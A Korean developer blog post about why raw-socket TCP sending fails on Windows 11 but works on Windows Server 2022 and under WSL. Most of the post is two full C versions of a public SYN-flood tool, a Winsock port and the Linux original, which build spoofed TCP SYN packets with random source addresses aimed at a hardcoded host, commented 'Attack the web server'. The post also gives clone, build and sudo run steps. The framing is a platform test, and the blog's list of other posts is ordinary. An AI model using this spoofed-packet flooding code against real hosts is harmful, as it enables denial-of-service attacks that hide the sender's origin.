Microsoft MVP성태의 닷넷 이야기
C/C++: 161. Windows 11 환경에서 raw socket 테스트하는 방법 [링크 복사], [링크+제목 복사]
조회: 5745
글쓴 사람
정성태 (techsharer at outlook.com)
홈페이지
첨부 파일
(연관된 글이 1개 있습니다.)

Windows 11 환경에서 raw socket 테스트하는 방법

이상하군요, ^^; 간단하게 raw socket을 테스트하려고 다음의 코드를,

adamalston/SYN-Flood
; https://github.com/adamalston/SYN-Flood

Windows Socket으로 변형해,

// https://github.com/adamalston/SYN-Flood/blob/master/tcp_syn_flood.c
// 또는 파이썬 2.x가 친숙하다면,
// https://github.com/gabrielpereirapinheiro/syn_flood/blob/master/synflood.py

#define _WINSOCK_DEPRECATED_NO_WARNINGS

#include <iostream>
#include <WinSock2.h>
#include <ws2tcpip.h>

#pragma comment(lib, "ws2_32.lib")

#define DEST_IP "192.168.100.50"
#define DEST_PORT 15501 // Attack the web server
#define PACKET_LEN 1500

// IP Header
struct ipheader
{
    unsigned char iph_ihl : 4,       // IP header length
        iph_ver : 4;                 // IP version
    unsigned char iph_tos;           // Type of service
    unsigned short int iph_len;      // IP Packet length (data + header)
    unsigned short int iph_ident;    // Identification
    unsigned short int iph_flag : 3, // Fragmentation flags
        iph_offset : 13;             // Flags offset
    unsigned char iph_ttl;           // Time to Live
    unsigned char iph_protocol;      // Protocol type
    unsigned short int iph_chksum;   // IP datagram checksum
    struct in_addr iph_sourceip;     // Source IP address
    struct in_addr iph_destip;       // Destination IP address
};

// TCP Header
struct tcpheader
{
    u_short tcp_sport; // source port
    u_short tcp_dport; // destination port
    u_int tcp_seq;     // sequence number
    u_int tcp_ack;     // acknowledgement number
    u_char tcp_offx2;  // data offset, rsvd
#define TH_OFF(th) (((th)->tcp_offx2 & 0xf0) >> 4)
    u_char tcp_flags;
#define TH_FIN 0x01
#define TH_SYN 0x02
#define TH_RST 0x04
#define TH_PUSH 0x08
#define TH_ACK 0x10
#define TH_URG 0x20
#define TH_ECE 0x40
#define TH_CWR 0x80
#define TH_FLAGS (TH_FIN | TH_SYN | TH_RST | TH_ACK | TH_URG | TH_ECE | TH_CWR)
    u_short tcp_win; // window
    u_short tcp_sum; // checksum
    u_short tcp_urp; // urgent pointer
};

// Psuedo TCP header
struct pseudo_tcp
{
    unsigned saddr, daddr;
    unsigned char mbz;
    unsigned char ptcl;
    unsigned short tcpl;
    struct tcpheader tcp;
    char payload[1500];
};

/*****************************************************
   Given a buffer of data, calculate the checksum
*****************************************************/
unsigned short in_cksum(unsigned short* buf, int length)
{
    unsigned short* w = buf;
    int nleft = length;
    int sum = 0;
    unsigned short temp = 0;

    /*
    * The algorithm uses a 32 bit accumulator (sum), adds
    * sequential 16 bit words to it, and at the end, folds back all the
    * carry bits from the top 16 bits into the lower 16 bits.
    */
    while (nleft > 1) {
        sum += *w++;
        nleft -= 2;
    }

    /* treat the odd byte at the end, if any */
    if (nleft == 1) {
        *(u_char*)(&temp) = *(u_char*)w;
        sum += temp;
    }

    /* add back carry outs from top 16 bits to low 16 bits */
    sum = (sum >> 16) + (sum & 0xffff);     // add hi 16 to low 16 
    sum += (sum >> 16);                     // add carry 
    return (unsigned short)(~sum);
}

/****************************************************************************
  TCP checksum is calculated on the pseudo header, which includes the
  the TCP header and data, plus some part of the IP header. Therefore,
  we need to construct the pseudo header first.
*****************************************************************************/
unsigned short calculate_tcp_checksum(struct ipheader* ip)
{
    struct tcpheader* tcp = (struct tcpheader*)((u_char*)ip +
        sizeof(struct ipheader));

    int tcp_len = ntohs(ip->iph_len) - sizeof(struct ipheader);

    /* pseudo tcp header for the checksum computation */
    struct pseudo_tcp p_tcp;
    memset(&p_tcp, 0x0, sizeof(struct pseudo_tcp));

    p_tcp.saddr = ip->iph_sourceip.s_addr;
    p_tcp.daddr = ip->iph_destip.s_addr;
    p_tcp.mbz = 0;
    p_tcp.ptcl = IPPROTO_TCP;
    p_tcp.tcpl = htons(tcp_len);
    memcpy(&p_tcp.tcp, tcp, tcp_len);

    return  (unsigned short)in_cksum((unsigned short*)&p_tcp, tcp_len + 12);
}

// unsigned short calculate_tcp_checksum(struct ipheader* ip);

// Given an IP packet, send it out using a raw socket.
void send_raw_ip_packet(struct ipheader* ip)
{
    struct sockaddr_in dest_info;
    int enable = 1;

    // Step 1: Create a raw network socket.
    int sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
    // int sock = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);
    if (sock < 0)
    {
        printf("socket failed: %d\n", WSAGetLastError());
        return;
    }

    printf("raw socket opened\n");

    // Step 2: Set socket option.
    int result = setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (const char*)&enable, sizeof(enable));
    if (sock < 0)
    {
        printf("setsockopt failed: %d\n", WSAGetLastError());
        return;
    }

    // Step 3: Provide needed information about destination.
    dest_info.sin_family = AF_INET;
    dest_info.sin_addr = ip->iph_destip;

    // Step 4: Send the packet out.
    result = sendto(sock, (const char *)ip, ntohs(ip->iph_len), 0, (struct sockaddr*)&dest_info, sizeof(dest_info));
    printf("sendto: %d\n", result);

    printf("Press any key to exit...");
    getchar();

    closesocket(sock);
}

int main()
{
    char buffer[PACKET_LEN];
    struct ipheader* ip = (struct ipheader*)buffer;
    struct tcpheader* tcp = (struct tcpheader*)(buffer + sizeof(struct ipheader));

    WORD wVersionRequested;
    WSADATA wsaData;
    int err;

    wVersionRequested = MAKEWORD(1, 1);

    WSAStartup(wVersionRequested, &wsaData);

    srand(time(0)); // Initialize the seed for random # generation.

    {
        memset(buffer, 0, PACKET_LEN);
        // Step 1: Fill in the TCP header.
        tcp->tcp_sport = rand();             // Use random source port
        tcp->tcp_dport = htons(DEST_PORT);
        tcp->tcp_seq = rand();               // Use random sequence #
        tcp->tcp_offx2 = 0x50;
        tcp->tcp_flags = TH_SYN;             // Enable the SYN bit
        tcp->tcp_win = htons(20000);
        tcp->tcp_sum = 0;

        // Step 2: Fill in the IP header.
        ip->iph_ver = 4;                 // Version (IPV4)
        ip->iph_ihl = 5;                 // Header length
        ip->iph_ttl = 50;                    // Time to live
        
        ip->iph_sourceip.s_addr = rand();    // Use a random IP address
        ip->iph_destip.s_addr = inet_addr(DEST_IP);
        ip->iph_protocol = IPPROTO_TCP;  // The value is 6.
        ip->iph_len = htons(sizeof(struct ipheader) + sizeof(struct tcpheader));

        // Calculate tcp checksum
        tcp->tcp_sum = calculate_tcp_checksum(ip);

        // Step 3: Finally, send the spoofed packet
        send_raw_ip_packet(ip);
    }

    WSACleanup();
}

관리자 권한으로 실행했더니,

// 관리자 권한으로 실행

c:\temp> ConsoleApplication1.exe
raw socket opened
sendto: 40
Press any key to exit...

딱히 sendto API 호출까지의 오류는 없지만 동작하지 않습니다. 재미있는 건, 동일한 exe 빌드를 Windows Server 2022에 복사해 실행하면 잘 됩니다. ^^;

이에 대해 검색해서 찾게 된 아래의 문서를 보면,

Limitations on Raw Sockets
; https://learn.microsoft.com/en-us/windows/win32/winsock/tcp-ip-raw-sockets-2#limitations-on-raw-sockets

Raw socket은 윈도우 관리자 권한으로 실행하는 경우 잘 동작하지만, Windows XP SP2 이상의 환경에서는,

Limitations on Raw Sockets

On Windows 7, Windows Vista, Windows XP with Service Pack 2 (SP2), and Windows XP with Service Pack 3 (SP3), the ability to send traffic over raw sockets has been restricted in several ways:

...


제약이 있다고 설명합니다. 하지만 그 제약이 딱히 위의 예제와는 별다른 관련이 없습니다.

  • TCP data cannot be sent over raw sockets.
  • UDP datagrams with an invalid source address cannot be sent over raw sockets. The IP source address for any outgoing UDP datagram must exist on a network interface or the datagram is dropped. This change was made to limit the ability of malicious code to create distributed denial-of-service attacks and limits the ability to send spoofed packets (TCP/IP packets with a forged source IP address).
  • A call to the bind function with a raw socket for the IPPROTO_TCP protocol is not allowed.

제가 사용한 코드는 TCP의 data가 비어 있는, 말 그대로 IP+TCP 헤더만 보내는 경우입니다. 또한, UDP 패킷도 아니고 bind 함수를 사용한 경우도 아닙니다.

아마도 "TCP data"라는 것이 "header"도 포함하는 의미가 아닐까 예상합니다. 즉, 순수하게 IP의 header와 TCP에 해당하지 않은 data만을 보내는 것을... 의미하는 것 같습니다. (혹시 이에 대해 자세히 알고 계신 분은 덧글 부탁드립니다.)




결국 Windows 11에서는 raw socket을 사용해 TCP 테스트를 할 수 없습니다. 단지, 굳이 해야 한다면 WSL을 이용해 우회하는 것은 가능합니다. 재미있게도, Windows 11 환경이지만 WSL로 위의 소스 코드를 테스트하면 잘 동작합니다.

$ git clone https://github.com/adamalston/SYN-Flood.git
$ cd SYN-Flood/
$ gedit tcp_syn_flood.c
..[대충 자신의 네트워크 상황에 맞게 편집해 주고]...

$ gcc tcp_syn_flood.c
$ sudo ./a.out

$ cat tcp_syn_flood.c

#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <arpa/inet.h>
#include "header.h"

#define DEST_IP "192.168.100.50"
#define DEST_PORT 15501 // Attack the web server
#define PACKET_LEN 1500

/*****************************************************
   Given a buffer of data, calculate the checksum
*****************************************************/
unsigned short in_cksum(unsigned short* buf, int length)
{
    unsigned short* w = buf;
    int nleft = length;
    int sum = 0;
    unsigned short temp = 0;

    /*
    * The algorithm uses a 32 bit accumulator (sum), adds
    * sequential 16 bit words to it, and at the end, folds back all the
    * carry bits from the top 16 bits into the lower 16 bits.
    */
    while (nleft > 1) {
        sum += *w++;
        nleft -= 2;
    }

    /* treat the odd byte at the end, if any */
    if (nleft == 1) {
        *(u_char*)(&temp) = *(u_char*)w;
        sum += temp;
    }

    /* add back carry outs from top 16 bits to low 16 bits */
    sum = (sum >> 16) + (sum & 0xffff);     // add hi 16 to low 16 
    sum += (sum >> 16);                     // add carry 
    return (unsigned short)(~sum);
}

/****************************************************************************
  TCP checksum is calculated on the pseudo header, which includes the
  the TCP header and data, plus some part of the IP header. Therefore,
  we need to construct the pseudo header first.
*****************************************************************************/
unsigned short calculate_tcp_checksum(struct ipheader* ip)
{
    struct tcpheader* tcp = (struct tcpheader*)((u_char*)ip +
        sizeof(struct ipheader));

    int tcp_len = ntohs(ip->iph_len) - sizeof(struct ipheader);

    /* pseudo tcp header for the checksum computation */
    struct pseudo_tcp p_tcp;
    memset(&p_tcp, 0x0, sizeof(struct pseudo_tcp));

    p_tcp.saddr = ip->iph_sourceip.s_addr;
    p_tcp.daddr = ip->iph_destip.s_addr;
    p_tcp.mbz = 0;
    p_tcp.ptcl = IPPROTO_TCP;
    p_tcp.tcpl = htons(tcp_len);
    memcpy(&p_tcp.tcp, tcp, tcp_len);

    return  (unsigned short)in_cksum((unsigned short*)&p_tcp, tcp_len + 12);
}

// Given an IP packet, send it out using a raw socket.
void send_raw_ip_packet(struct ipheader *ip)
{
    struct sockaddr_in dest_info;
    int enable = 1;

    // Step 1: Create a raw network socket.
    int sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);

    // Step 2: Set socket option.
    setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &enable, sizeof(enable));

    // Step 3: Provide needed information about destination.
    dest_info.sin_family = AF_INET;
    dest_info.sin_addr = ip->iph_destip;

    // Step 4: Send the packet out.
    sendto(sock, ip, ntohs(ip->iph_len), 0, (struct sockaddr *)&dest_info, sizeof(dest_info));
    
    getchar();
    close(sock);
}

// Spoof a TCP SYN packet.
int main()
{
    char buffer[PACKET_LEN];
    struct ipheader *ip = (struct ipheader *)buffer;
    struct tcpheader *tcp = (struct tcpheader *)(buffer + sizeof(struct ipheader));

    srand(time(0)); // Initialize the seed for random # generation.

    // while (1)
    {
        memset(buffer, 0, PACKET_LEN);
        // Step 1: Fill in the TCP header.
        tcp->tcp_sport = rand();             // Use random source port
        tcp->tcp_dport = htons(DEST_PORT);
        tcp->tcp_seq = rand();               // Use random sequence #
        tcp->tcp_offx2 = 0x50;
        tcp->tcp_flags = TH_SYN;             // Enable the SYN bit
        tcp->tcp_win = htons(20000);
        tcp->tcp_sum = 0;

        // Step 2: Fill in the IP header.
        ip->iph_ver = 4;                 // Version (IPV4)
        ip->iph_ihl = 5;                 // Header length
        ip->iph_ttl = 50;                    // Time to live
        ip->iph_sourceip.s_addr = rand();    // Use a random IP address

        ip->iph_destip.s_addr = inet_addr(DEST_IP);
        ip->iph_protocol = IPPROTO_TCP;  // The value is 6.
        ip->iph_len = htons(sizeof(struct ipheader) + sizeof(struct tcpheader));

        // Calculate tcp checksum
        tcp->tcp_sum = calculate_tcp_checksum(ip);

        // Step 3: Finally, send the spoofed packet
        send_raw_ip_packet(ip);
    }

    return 0;
}

아니면, Windows Server 버전에서 테스트하거나!

(첨부 파일은 이 글의 예제 코드를 포함합니다.)




[이 글에 대해서 여러분들과 의견을 공유하고 싶습니다. 틀리거나 미흡한 부분 또는 의문 사항이 있으시면 언제든 댓글 남겨주십시오.]

[연관 글]






[최초 등록일: ]
[최종 수정일: 10/31/2022]

Creative Commons License
이 저작물은 크리에이티브 커먼즈 코리아 저작자표시-비영리-변경금지 2.0 대한민국 라이센스에 따라 이용하실 수 있습니다.
by SeongTae Jeong, mailto:techsharer at outlook.com

비밀번호

댓글 작성자
 




1  2  3  4  5  [6]  7  8  9  10  11  12  13  14  15  ...
NoWriterDateCnt.TitleFile(s)
13481정성태12/13/20232279개발 환경 구성: 693. msbuild - .NET Core/5+ 프로젝트에서 resgen을 이용한 리소스 파일 생성 방법파일 다운로드1
13480정성태12/12/20232644개발 환경 구성: 692. Windows WSL 2 + Chrome 웹 브라우저 설치
13479정성태12/11/20232332개발 환경 구성: 691. WSL 2 (Ubuntu) + nginx 환경 설정
13477정성태12/8/20232523닷넷: 2182. C# - .NET 7부터 추가된 Int128, UInt128 [1]파일 다운로드1
13476정성태12/8/20232257닷넷: 2181. C# - .NET 8 JsonStringEnumConverter의 AOT를 위한 개선파일 다운로드1
13475정성태12/7/20232319닷넷: 2180. .NET 8 - 함수 포인터에 대한 Reflection 정보 조회파일 다운로드1
13474정성태12/6/20232169개발 환경 구성: 690. 닷넷 코어/5+ 버전의 ilasm/ildasm 실행 파일 구하는 방법 - 두 번째 이야기
13473정성태12/5/20232373닷넷: 2179. C# - 값 형식(Blittable)을 메모리 복사를 이용해 바이트 배열로 직렬화/역직렬화파일 다운로드1
13472정성태12/4/20232189C/C++: 164. Visual C++ - InterlockedCompareExchange128 사용 방법
13471정성태12/4/20232266Copilot - To enable GitHub Copilot, authorize this extension using GitHub's device flow
13470정성태12/2/20232558닷넷: 2178. C# - .NET 8부터 COM Interop에 대한 자동 소스 코드 생성 도입파일 다운로드1
13469정성태12/1/20232277닷넷: 2177. C# - (Interop DLL 없이) CoClass를 이용한 COM 개체 생성 방법파일 다운로드1
13468정성태12/1/20232219닷넷: 2176. C# - .NET Core/5+부터 달라진 RCW(Runtime Callable Wrapper) 대응 방식파일 다운로드1
13467정성태11/30/20232303오류 유형: 882. C# - Unhandled exception. System.Runtime.InteropServices.COMException (0x800080A5)파일 다운로드1
13466정성태11/29/20232486닷넷: 2175. C# - DllImport 메서드의 AOT 지원을 위한 LibraryImport 옵션
13465정성태11/28/20232239개발 환경 구성: 689. MSBuild - CopyToOutputDirectory가 "dotnet publish" 시에는 적용되지 않는 문제파일 다운로드1
13464정성태11/28/20232370닷넷: 2174. C# - .NET 7부터 UnmanagedCallersOnly 함수 export 기능을 AOT 빌드에 통합파일 다운로드1
13463정성태11/27/20232301오류 유형: 881. Visual Studio - NU1605: Warning As Error: Detected package downgrade
13462정성태11/27/20232340오류 유형: 880. Visual Studio - error CS0246: The type or namespace name '...' could not be found
13461정성태11/26/20232372닷넷: 2173. .NET Core 3/5+ 기반의 COM Server를 registry 등록 없이 사용하는 방법파일 다운로드1
13460정성태11/26/20232324닷넷: 2172. .NET 6+ 기반의 COM Server 내에 Type Library를 내장하는 방법파일 다운로드1
13459정성태11/26/20232295닷넷: 2171. .NET Core 3/5+ 기반의 COM Server를 기존의 regasm처럼 등록하는 방법파일 다운로드1
13458정성태11/26/20232305닷넷: 2170. .NET Core/5+ 기반의 COM Server를 tlb 파일을 생성하는 방법(tlbexp)
13457정성태11/25/20232252VS.NET IDE: 187. Visual Studio - 16.9 버전부터 추가된 "Display inline type hints" 옵션
13456정성태11/25/20232550닷넷: 2169. C# - OpenAI를 사용해 PDF 데이터를 대상으로 OpenAI 챗봇 작성 [1]파일 다운로드1
13455정성태11/25/20232452닷넷: 2168. C# - Azure.AI.OpenAI 패키지로 OpenAI 사용파일 다운로드1
1  2  3  4  5  [6]  7  8  9  10  11  12  13  14  15  ...